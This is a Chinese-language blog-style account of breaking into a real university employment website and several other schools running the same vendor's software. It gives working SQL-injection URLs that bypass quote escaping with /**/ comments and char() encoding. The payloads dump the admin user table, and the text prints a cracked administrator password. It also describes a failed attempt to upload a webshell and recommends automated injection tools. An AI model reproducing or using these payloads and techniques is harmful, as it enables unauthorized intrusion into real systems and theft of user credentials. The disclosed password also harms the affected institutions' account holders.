1. 收集信息
花了挺长时间来浏览job.xxx.edu.cn,这里只写后边入侵会用到的一些信息,这个网站是深圳某科技公司做的,在首页的登录窗口部分有三种人员,分别是用人单位、毕业生和管理员。
使用Acunetix扫描job. xxx.edu.cn,扫出在/index_department.php页面存在SQL注入漏洞。
虽然Acunetix扫描出dep_id和gradyear两个参数都存在SQL注入漏洞,但后来经过实际测试,只有dep_id可以利用。
Acunetix还扫描出存在phpinfo.php文件,可以看到PHP是5.2.10版本,magic_quotes_gpc选项是开启的,也就是说‘(单引号)、"(双号号)、\(反斜线)、空白字符等特殊的符号都将被转义。
2. 利用漏洞
从错误信息可以看到后台数据库是MySQL。
http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=1‘‘‘
使用order by语句猜列数,在4的时候正确5的时候出错说明有4列,由于空格会被转义,这里使用注释符号/**/代替空格,使用#号来注释掉之后的语句,由于直接在浏览器中输入#号会被解释为空格,因此这里使用#号的ASCII值。
http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/order/**/by/**/5%23
查看MySQL中有哪些数据库,这里用到了MySQL5.0版本之后才添加的系统数据库INFORMATION_SCHEMA。可以看到除了INFORMATION_SCHEMA只有一个job_xxx数据库。
http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,SCHEMA_NAME,3,4/**/from/**/INFORMATION_SCHEMA.SCHEMATA/**/%23
查看job_xxx中有哪些表。由于单引号被转义,这里使用char函数绕过,括号内的一串数字是job_xxx对应的ASCII值。
http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,table_name,3,4/**/from/**/INFORMATION_SCHEMA.TABLES/**/where/**/table_schema/**/=/**/char(106,111,98,95,...)/**/%23
在job_xxx数据库中有几个用户相关的表:school_user,com_users,std_bases,在看到这几个表的时候就感觉可能是对应的是登录窗口对应的三种用户。
查看school_user表中有哪些列。
http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,column_name,3,4/**/from/**/INFORMATION_SCHEMA.columns/**/where/**/table_name/**/=/**/char(115,99,104,111,111,108,95,117,115,101,114)/**/%23
看到了令人兴奋的user_name和user_password,查一下吧!
http://job.xxx.edu.cn/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,user_name,user_password,4/**/from/**/school_user%23
这个表里存的是管理员账户信息,第一个就是最高权限的admin,密码是MD5加密的,在cmd5.com网站上查出密码是yuwei162372,使用这个用户名和密码成功登录该系统。
至此,已经可以得到所有用户的用户名、密码。本想进一步上传webshell控制整台服务器,但上传的文件都被去掉了后缀名,只好放弃了。
3. 扩大战果
在收集信息阶段,知道了网站是由深圳某科技公司开发,在该公司主页上看到还有其他多所学校也使用了该公司的系统。另外在学校就业网站的在线咨询栏也有该软件使用学校的提问,点进去之后就是学校列表。
以xxx师范学院为例,入侵过程基本一样,只有在查用户表的时候遇到了一个编码问题,google之后轻松解决。
http://xxx.yyy.com/index_department.php?gradyear=2012&self_action=1&action_code=0&name_find=&dep_id=100/**/union/**/select/**/1,binary(user_name),binary(user_password),4/**/from/**/school_user%23
4. 总结
在利用漏洞阶段,由于单引号被转义,构造的SQL语句中字符串需用char函数加ASCII值的方式,查一个字符串的每个字符的ASCII值很费时间,有时可以用一些函数代替字符串。比如database()代替job_cqupt。
在确认SQL注入漏洞可以利用之后,可以使用工具提高入侵的效率,比如Havij、Pangolin等。
在这次入侵过程中,发现了一些很好的资料,也记在这里:
- 《The Web ApplicationHackers’ Handbook》(中译本《黑客攻防技术宝典·Web实战篇》),全面分析了Web应用程序的安全漏洞,绝对值得一看的好书。
- 暗组论坛的《详细mysql注入》,非常详细的好文,搞不定的时候多读几遍本文,看看是不是遗漏了什么。
- 《SQL Injection with MySQL》和《Advanced SQL Injectionwith MySQL》,由安全组织“安全天使”的angel所写,很老的文章但是把原理讲得很清楚。